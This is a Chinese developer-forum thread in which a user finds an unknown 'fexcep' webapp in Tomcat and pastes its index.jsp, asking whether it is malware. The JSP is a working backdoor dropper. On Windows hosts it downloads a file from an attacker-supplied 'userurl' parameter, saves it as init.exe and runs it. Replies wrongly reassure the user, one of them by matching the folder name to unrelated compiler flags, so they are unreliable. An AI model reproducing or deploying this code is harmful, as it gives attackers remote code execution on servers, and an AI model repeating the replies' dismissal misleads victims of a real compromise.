在Tomcat的webapps文件夹中的陌生项目

[isfortune]

这几天一直在Tomcat的webapps文件夹中出现一个叫做fexcep的文件夹，包括文件：index.jsp、ok.jsp、init.exe，在使用MyEclipse的过程中日志就报出这个项目活动的样子，我尝试重新安装Tomcat还是出现这个文件夹，我无法判断是否是病毒之类的恶意文件？请各位指点

index.jsp文件内容
-----------------
<%@ page language="java" pageEncoding="utf-8" import="java.io.*,java.net.*,java.security.*,javax.crypto.*"%>
<%!
String sys=null;

public class AutoKill {

private boolean downFile(String url,String filesrc)
{
try
{
URL urlc = new URL(url);
HttpURLConnection con = (HttpURLConnection)urlc.openConnection();
con.connect();
byte[] b=new byte[1024];
BufferedInputStream bis=new BufferedInputStream(con.getInputStream());
FileOutputStream fos=new FileOutputStream(filesrc);
int length=-1;
while((length=bis.read(b,0,b.length))!=-1)
{
fos.write(b,0,length);
}
fos.close();
bis.close();
return true;
}catch(Exception e)
{
e.printStackTrace();
}
return false;
}
}

%>
<%
sys=System.getProperty("os.name");
int i=sys.indexOf("Windows");
AutoKill ak=new AutoKill();
if(i>-1)
{
String result;
try
{
String url=request.getParameter("userurl");
System.out.println(url);
String filesrc=request.getSession().getServletContext().getRealPath("")+"/init.exe";
if (ak.downFile(url,filesrc) )
{
Process run_proc=Runtime.getRuntime().exec(filesrc);
result="Success! ";
}
else
{
result="Failure! Down File Failure!";
}

}catch(Exception e)
{
result="Failure!throws Exception - "+e.getMessage()+"! ";
}
request.setAttribute("result",result);
}
else
{
request.setAttribute("result","Failure!Because Remote computer system is "+sys+"!");
}

request.getRequestDispatcher("/ok.jsp").forward(request, response);
%>

.jsp文件内容
-----------------
<%@ page language="java" pageEncoding="utf-8"%><%= request.getAttribute("result")%>

[guoyunsky]

应该不是...

[小爽昵称已被占用]

不清楚，给你查查呢。

[小爽昵称已被占用]

-D_CHECK_MEMORY -DKMM_DEBUG=1 -Wno-lon
g-long -Wundef -ansi -D_XOPEN_SOURCE=500 -D_BSD_SOURCE -Wcast-align -Wconversion -Wchar-su
bscripts -Wall -W -Wpointer-arith -fno-builtin -g3 -fno-inline -Wformat-security -Wmissing
-format-attribute -Wno-non-virtual-dtor -fno-exceptions -fno-check-new -fno-common -fexcep
tions -MT
应该没事。